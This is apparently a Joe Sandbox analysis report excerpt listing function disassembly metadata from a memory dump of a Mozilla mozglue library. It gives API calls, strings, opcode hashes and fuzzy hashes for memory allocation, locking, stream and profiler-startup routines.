Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE
<jemalloc>, xrefs: 6C510D92, 6C510DB9

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

name, xrefs: 6C531939
{marker.name} - {marker.data.name}, xrefs: 6C5318C7
Details, xrefs: 6C531925

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A
-%llu, xrefs: 6C524733

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A
-%llu, xrefs: 6C524733

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
